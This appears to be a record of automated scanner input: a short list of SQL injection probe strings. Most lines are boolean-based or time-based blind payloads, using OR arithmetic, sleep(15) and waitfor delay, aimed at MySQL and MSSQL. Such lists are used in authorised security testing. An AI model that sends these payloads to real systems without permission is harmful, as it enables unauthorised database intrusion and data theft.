Mr.

-1 OR 2+63-63-1=0+0+0+1

-1' OR 2+145-145-1=0+0+0+1 --

-1' OR 2+666-666-1=0+0+0+1 or 'oA1RBsq0'='

-1" OR 2+880-880-1=0+0+0+1 --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

if(now()=sysdate(),sleep(15),0)

1 waitfor delay '0:0:15' --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

M8oPZH8E'; waitfor delay '0:0:15' --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z